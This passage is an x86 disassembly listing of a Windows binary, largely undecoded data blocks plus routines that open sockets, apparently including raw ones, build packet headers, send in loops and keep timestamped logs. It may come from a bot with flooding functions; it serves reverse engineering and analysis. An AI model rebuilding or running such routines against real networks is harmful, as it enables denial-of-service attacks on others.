		dd 0CCh, 358B5653h, 4270B0h, 8957DB33h,	0D6FFFC5Dh, 0FF68h
		dd 6A036A00h, 0F0458902h, 0BA5415FFh, 4589004Ch, 50D6FFF8h
		dd 7273E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7CE8h, 50595900h
		dd 50D8458Dh, 6F0FE8h, 0CC48300h, 5A0BEh, 3E89000h, 2B0228BDh
		dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C2870F00h, 39000001h
		dd 4CF1801Dh, 6A597500h, 45895810h, 458D50ECh, 0E8505398h
		dd 6ED0h, 8D0CC483h, 8D50EC45h,	0FF509845h, 15FF0875h
		dd 4CB978h, 0FF68h, 0E8016A00h,	3B11h, 0F505959h, 509E45B6h
		dd 9D45B60Fh, 45B60F50h, 858D509Ch, 0FFFFFF34h,	42D90468h
		dd 83E85000h, 83000071h, 13EB18C4h, 0FF34858Dh,	6068FFFFh
		dd 50004CEBh, 7797E8h, 8D595900h, 0FFFF3485h, 15FF50FFh
		dd 4CBA14h, 8BF44589h, 4524A845h, 0C6450C56h, 8910AC45h
		dd 15FFA845h, 4CB9D4h, 0AE458966h, 7199E8h, 45896600h
		dd 0F4458BB0h, 8BB84589h, 19C85h, 45C76600h, 0C60040B2h
		dd 0C640B445h, 6606B545h, 89B65D89h, 6FE8BC45h,	66000071h
		dd 0E8C04589h, 7166h, 0C2458966h, 715DE8h, 0C4458900h
		dd 7155E8h, 0C8458900h,	66CC458Bh, 6AFF5025h, 0C6500C14h
		dd 6618CE45h, 66CC4589h, 66C2458Bh, 8B8A4589h, 4589BC45h
		dd 0A8458D8Ch, 45C76650h, 66787DD0h, 66D25D89h,	66D45D89h
		dd 28845C7h, 0FD57E800h, 8966FFFFh, 458DB645h, 50286AA8h
		dd 0FFFD48E8h, 0B8458BFFh, 8910C483h, 0FFFF5485h, 0BC458BFFh
		dd 58C68h, 58858900h, 88FFFFFFh, 0FFFF5C9Dh, 5D85C6FFh
		dd 6FFFFFFh, 0C55CE890h, 89667169h, 0FFFF5E85h,	60858DFFh
		dd 6AFFFFFFh, 458D5014h, 1DE850C0h, 8D00007Bh, 0FFFF7485h
		dd 8D5057FFh, 0E850D845h, 7B0Ch, 0FF54858Dh, 9868FFFFh
		dd 50000005h, 0FFFCE0E8h, 20C483FFh, 0D2458966h, 458D106Ah
		dd 8D535088h, 5056A845h, 0FFF875FFh, 4CBA3815h,	0FC45FF00h
		dd 0FFFE20E9h, 0F875FFFFh, 0BA6C15FFh, 458B004Ch, 5B5E5FFCh
; ---------------------------------------------------------------------------
		leave
		retn
; ---------------------------------------------------------------------------
word_41525A	dw 8B55h		; DATA XREF: sub_401ACD+4B97o
		dd 14EC81ECh, 8B000004h, 0B8560855h, 85h, 8BC88B57h, 0ECBD8DF2h
		dd 81FFFFFDh, 214ECh, 8BA5F300h, 0ECB58DC8h, 8BFFFFFDh
		dd 1082C7FCh, 1000002h,	0F3000000h, 37E8A5h, 0C4810000h
		dd 214h, 0EC858D50h, 68FFFFFBh,	437C8Ch, 6FB4E850h, 858D0000h
		dd 0FFFFFBECh, 0A7AE850h, 75FF0000h, 6410E8F0h,	0C483FFFFh
		dd 0E8006A14h, 22DAD30h, 0EC8B5590h, 254EC81h, 56530000h
		dd 0FFBBh, 6A535700h, 0FF026A03h, 4CBA5415h, 0FFF88300h
		dd 75F44589h, 0AC858D1Ah, 68FFFFFDh, 437E7Ch, 6F60E850h
		dd 33590000h, 0C9E959FFh, 8D000002h, 46AEC4Dh, 6AFF3351h
		dd 0C7505702h, 1EC45h, 15FF0000h, 4CB9B4h, 75FFF883h, 6815FF0Eh
		dd 50004CB9h, 437E2C68h, 8D1BEB00h, 0FF500C45h,	4CBA1415h
		dd 0FFF88300h, 15FF2075h, 4CB968h, 7DE86850h, 858D0043h
		dd 0FFFFFDACh, 6F04E850h, 0C4830000h, 26EE90Ch,	66570000h
		dd 2DC45C7h, 0D415FF00h, 66004CB9h, 8DDE4589h, 90500C45h
		dd 69BF73E8h, 0B0358B71h, 89004270h, 0D6FFE045h, 8DF84589h
		dd 8D500C45h, 0FFFDAC85h, 7DBC68FFh, 0E8500043h, 6EBEh
		dd 390CC483h, 214BDh, 57207500h, 0FDAC858Dh, 0B5FFFFFFh
		dd 210h, 8C858D50h, 50000001h, 0E80875FFh, 0FFFF4499h
		dd 8914C483h, 0D6FFFC7Dh, 33F8452Bh, 3E8B9D2h, 0F1F70000h
		dd 858DF08Bh, 10Ch, 6D67E850h, 0F03B0000h, 93870F59h, 0BE000001h
		dd 41Ch, 0FFBB05EBh, 39000000h,	4CF1803Dh, 6A527500h, 45895810h
		dd 458D50F0h, 0E85057CCh, 6B50h, 8D0CC483h, 8D50F045h
		dd 0FF50CC45h, 15FF0875h, 4CB978h, 0E8016A53h, 3795h, 0F505959h
		dd 50D245B6h, 0D145B60Fh, 45B60F50h, 458D50D0h,	0D90468ACh
		dd 0E8500042h, 6E0Ah, 0EB18C483h, 0AC458D10h, 4CEB6068h
		dd 21E85000h, 59000074h, 5C65659h, 4CED60h, 0D415FF45h
		dd 66004CB9h, 4CED62A3h, 0AC458D00h, 5C76650h, 4CED64h
		dd 89660001h, 4CED663Dh, 6805C600h, 80004CEDh, 0ED6905C6h
		dd 6611004Ch, 0ED6A3D89h, 15FF004Ch, 4CBA14h, 4CED6CA3h
		dd 0E0458B00h, 4CED70A3h, 8C858D00h, 50000000h,	7A3D8966h
		dd 0E8004CEDh, 6C85h, 7559C085h, 6DE4E810h, 0B9990000h
		dd 401h, 0EB52F9F7h, 8C858D0Eh,	50000000h, 6C64E8h, 0FF505900h
		dd 4CB9D415h, 76A36600h, 0E8004CEDh, 6DBAh, 401B999h, 8680000h
		dd 0F7000004h, 158966F9h, 4CED74h, 0B9D415FFh, 68004Ch
		dd 66000004h, 4CED78A3h, 6D90E800h, 0F7990000h,	7C6852FBh
		dd 0E8004CEDh, 6A30h, 8D0CC483h, 106ADC45h, 68565750h
		dd 4CED60h, 0FFF475FFh,	4CBA3815h, 0FFF88300h, 0A5840Fh
		dd 45FF0000h, 0B808E8FCh, 2B900228h, 0D233F845h, 3E8B9h
		dd 8BF1F700h, 0C858DD8h, 50000001h, 6BD4E8h, 59D83B00h
		dd 0FE74860Fh, 75FFFFFFh, 6C15FFF4h, 8B004CBAh,	858DFC75h
		dd 10Ch, 1CF66950h, 0E8000004h,	6BADh, 8BD23359h, 0C1C68BC8h
		dd 0F1F70AE8h, 5014EEC1h, 0FC75FF56h, 500C458Dh, 437D5868h
		dd 0AC858D00h, 50FFFFFDh, 6C91E8h, 18C48300h, 214BD39h
		dd 20750000h, 0AC858D57h, 0FFFFFFFDh, 210B5h, 858D5000h
		dd 18Ch, 875FF50h, 0FF426CE8h, 14C483FFh, 0C0335E5Fh, 0FFC3C95Bh
		dd 0FF56FC75h, 4CB96815h, 458D5000h, 0CC68500Ch, 0EB00437Ch
		db 0ACh
byte_41561D	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+6283o
		dd 414EC81h, 458B0000h,	0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
		dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 0E850FFFFh, 6B09h, 858D5059h
		dd 0FFFFFE70h, 6AFBE850h, 50590000h, 0FDF0858Dh, 0FF50FFFFh
		dd 4CBA1415h, 47E85000h, 83000001h, 8D500CC4h, 0FFFBEC85h
		dd 7EA868FFh, 0E8500043h, 6BDEh, 0C483F633h, 0F875390Ch
		dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh
		dd 0FDECB5FFh, 0BAE8FFFFh, 83FFFF41h, 858D14C4h, 0FFFFFBECh
		dd 67AE850h, 75FF0000h,	6010E8F0h, 5959FFFFh, 31E89056h
		dd 5F022DA9h
; ---------------------------------------------------------------------------
		pop	esi
		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	dword ptr [ebp-4], 0
		cmp	dword ptr [ebp+14h], 0
		push	esi
		push	edi
		jnz	short loc_4156FA
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		nop
		call	near ptr 71AB3E5Dh
		jmp	loc_4157B6
; ---------------------------------------------------------------------------


loc_4156FA:				; CODE XREF: ___:004156E4j
		mov	esi, [ebp+8]
		push	1
		pop	edi
		lea	eax, [ebp-8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp-8], edi
		nop
		call	near ptr 71AB155Ah
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	esi
		call	dword_4CB97C
		push	dword ptr [ebp+14h]
		lea	eax, [ebp-210h]
		mov	[ebp-108h], esi
		mov	[ebp-10Ch], edi
		push	0
		push	eax
		lea	eax, [ebp-10Ch]
		mov	[ebp-20Ch], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp-210h], edi
		call	dword_4CB9BC
		test	eax, eax
		jnz	short loc_41575E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_41575E:				; CODE XREF: ___:00415757j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415769


loc_415765:				; CODE XREF: ___:00415789j
					; ___:004157ADj
		mov	eax, edi
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_415769:				; CODE XREF: ___:00415763j
		lea	eax, [ebp-10Ch]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41578B
		lea	eax, [ebp-210h]
		push	eax
		push	esi
		call	sub_426350
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_415765


loc_41578B:				; CODE XREF: ___:00415778j
		lea	eax, [ebp+8]
		mov	dword ptr [ebp+8], 4
		push	eax
		lea	eax, [ebp-4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	near ptr 71AB4122h
		nop
		cmp	eax, edi
		jz	short loc_415765
		mov	eax, [ebp-4]
		neg	eax
		sbb	eax, eax


loc_4157B6:				; CODE XREF: ___:004156F5j
					; ___:0041575Cj ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		dw 8B55h
		dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h
		dd 6A000000h, 89026A03h, 0E890EC45h, 716A0221h,	6AEC4D8Dh
		dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h,	0B0358B00h
		dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh
		dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh
		dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h,	0FFFFFF78h
		dd 15h,	0FF7C85C7h, 16FFFFh, 45C70000h,	1780h, 8845C700h
		dd 35h,	508C45C7h, 0C7000000h, 519045h,	45C70000h, 5894h
		dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h
		dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h
		dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh,	0BC45C7h, 0C7000004h
		dd 599C045h, 45C70000h,	5DCC4h,	0C845C700h, 6B8h, 0EACC45C7h
		dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h
		dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h
		dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h
		dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh
		dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h
		dd 53004CB9h, 26A016Ah,	66858966h, 0FFFFFFFFh, 4CBA5415h
		dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h
		dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch
		dd 8B0C75F8h, 78BFC4Dh,	0F40D8489h, 83FFFFFEh, 8304FC45h
		dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h
		dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh
		dd 452BD6FFh, 0B9D233F4h, 3E8h,	453BF1F7h, 8B45770Ch, 8BF845h
		dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah
		dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h
		dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h
		dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h
		dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h
		dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h
		dd 0A366286Ah, 4CF194h,	0B9D415FFh, 0D80004Ch, 4CF198h
		dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h
		dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h,	0C1084D8Bh
		dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h,	0A3004CBAh
		dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h
		dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h
		dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh
		dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh
		dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h
		dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h,	4CF1D01Dh
		dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h
		dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh
		dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h
		dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch
		dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h
		dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h
		dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h
		dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h
		dd 0BF004CF1h, 4CF1D4h,	9A1D8966h, 66004CF1h, 0F1B41D89h
		dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h
		dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h
		dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h,	286A5300h
		dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h
		dd 0F000003h, 0FFFF238Ch, 5BE890FFh, 2B0228B1h,	0D233F445h
		dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 227A7DAh
		dd 0FDC2E990h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C40	proc near		; CODE XREF: sub_401ACD+7111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DB90
		mov	edi, 0B8h


loc_415C54:				; CODE XREF: sub_415C40+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C77
		push	[ebp+arg_0]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C77
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E710
		jl	short loc_415C54
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------


loc_415C77:				; CODE XREF: sub_415C40+17j
					; sub_415C40+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DB90[esi]
		push	ebx
		call	sub_41BF70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BFD0
		push	9Fh
		lea	eax, dword_43DBA8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFD0
		add	esp, 24h
		inc	dword_4294CC
		pop	ebx


loc_415CB9:				; CODE XREF: sub_415C40+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC0	proc near		; CODE XREF: sub_401ACD+289Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437EF0
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DB90


loc_415CEA:				; CODE XREF: sub_415CC0+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415D25
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437EDC
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch


loc_415D25:				; CODE XREF: sub_415CC0+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E710
		jl	short loc_415CEA
		pop	edi
		pop	esi
		leave
		retn
sub_415CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D38	proc near		; CODE XREF: ___:004015A5p
					; ___:00401629p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		nop
		call	near ptr 27D0000h
		mov	ebx, offset dword_4D35F4
		mov	edi, 80h
		mov	esi, offset dword_4CF5F4


loc_415D5A:				; CODE XREF: sub_415D38+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D71
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_415D71:				; CODE XREF: sub_415D38+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D5A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DAC	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_408967p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41CB70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415D38
		add	esp, 14h
		leave
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD8	proc near		; CODE XREF: sub_401ACD+278Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF5F4
		xor	ecx, ecx


loc_415DDF:				; CODE XREF: sub_415DD8+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D35F4
		jl	short loc_415DDF
		cmp	[esp+arg_C], ecx
		jnz	short loc_415E0D
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437F3C
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415E0D:				; CODE XREF: sub_415DD8+19j
		push	offset dword_437F28
		call	sub_415D38
		pop	ecx
		retn
sub_415DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E19	proc near		; CODE XREF: ___:0040E1FFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CF5F4


loc_415E1F:				; CODE XREF: sub_415E19+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415E34
		push	[esp+4+arg_0]
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E46


loc_415E34:				; CODE XREF: sub_415E19+9j
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415E1F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E46:				; CODE XREF: sub_415E19+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415E19	endp

; ---------------------------------------------------------------------------
byte_415E4B	db 55h			; DATA XREF: sub_401ACD+2844o
; ---------------------------------------------------------------------------
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-11Ch]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp-10h], edx
		mov	dword ptr [ebp-8], 80h
		mov	[ebp-4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E9E
		push	edx
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	offset dword_437F6C
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415E9E:				; CODE XREF: ___:00415E7Ej
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EBE
		lea	eax, [ebp-98h]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		mov	[ebp-4], eax
		jz	short loc_415EBE
		mov	[ebp-8], eax


loc_415EBE:				; CODE XREF: ___:00415EA5j
					; ___:00415EB9j
		and	dword ptr [ebp+8], 0
		mov	esi, offset dword_4CF5F4


loc_415EC7:				; CODE XREF: ___:00415F1Fj
		mov	eax, [ebp+8]
		cmp	eax, [ebp-8]
		jge	short loc_415F21
		cmp	byte ptr [esi],	0
		jz	short loc_415F10
		cmp	byte ptr [ebp-98h], 0
		jz	short loc_415EF6
		cmp	dword ptr [ebp-4], 0
		jnz	short loc_415EF6
		lea	eax, [ebp-98h]
		push	eax
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F10


loc_415EF6:				; CODE XREF: ___:00415EDBj
					; ___:00415EE1j
		push	edi
		lea	eax, [ebp-118h]
		push	dword ptr [ebp-14h]
		push	esi
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F10:				; CODE XREF: ___:00415ED2j
					; ___:00415EF4j
		inc	dword ptr [ebp+8]
		add	esi, 80h
		cmp	esi, offset dword_4D35F4
		jl	short loc_415EC7


loc_415F21:				; CODE XREF: ___:00415ECDj
		lea	eax, [ebp-31Ch]
		push	offset dword_437F50
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp-10h], esi
		pop	ecx
		jnz	short loc_415F5B
		push	esi
		lea	eax, [ebp-31Ch]
		push	dword ptr [ebp-14h]
		push	eax
		lea	eax, [ebp-118h]
		push	eax
		push	dword ptr [ebp-11Ch]
		call	sub_409869
		add	esp, 14h


loc_415F5B:				; CODE XREF: ___:00415F39j
		lea	eax, [ebp-31Ch]
		push	eax
		call	sub_415D38
		push	dword ptr [ebp-18h]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
; ---------------------------------------------------------------------------
		dw 89E8h
; ---------------------------------------------------------------------------
		mov	al, ds:5F90022Dh
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7A	proc near		; CODE XREF: ___:0041661Fp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA54
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FF6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9D4
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA14
		cmp	eax, esi
		jnz	short loc_415FDB
		push	[ebp+arg_0]
		call	dword_4CBA58
		test	eax, eax
		jz	short loc_415FF6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415FDB:				; CODE XREF: sub_415F7A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB97C
		cmp	eax, esi
		jnz	short loc_415FFA
		push	edi
		call	dword_4CBA6C


loc_415FF6:				; CODE XREF: sub_415F7A+1Bj
					; sub_415F7A+58j
		mov	eax, esi
		jmp	short loc_415FFC
; ---------------------------------------------------------------------------


loc_415FFA:				; CODE XREF: sub_415F7A+73j
		mov	eax, edi


loc_415FFC:				; CODE XREF: sub_415F7A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F7A	endp

; ---------------------------------------------------------------------------
dword_416000	dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh
					; DATA XREF: sub_401ACD+A02o
		dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h
		dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh
		dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch
		dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh,	9F6EE856h
		dd 6890022Dh, 43DB88h, 4113E853h, 83590000h, 7559FFF8h
		dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h
		dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h
		dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h,	0FFFFEE4Ch
		dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h
		dd 5659FFFFh, 9F02E890h, 646A022Dh, 27A305E8h, 0FF339002h
		dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh
		dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch
		dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h,	8D000067h
		dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h
		dd 27A2ADE8h, 0A6A9002h, 0FF549DE8h, 59C085FFh,	858DA375h
		dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh
		dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh
		dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh,	0FFFB8FE8h
		dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 905759FFh
		dd 2D9E3FE8h
		db 2
; ---------------------------------------------------------------------------


loc_4161C1:				; DATA XREF: sub_401ACD+7696o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CBA54
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_41620F
		push	offset unk_4380EC
		jmp	loc_4163C8
; ---------------------------------------------------------------------------


loc_41620F:				; CODE XREF: ___:00416203j
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB9D4
		mov	[ebp-2Eh], ax
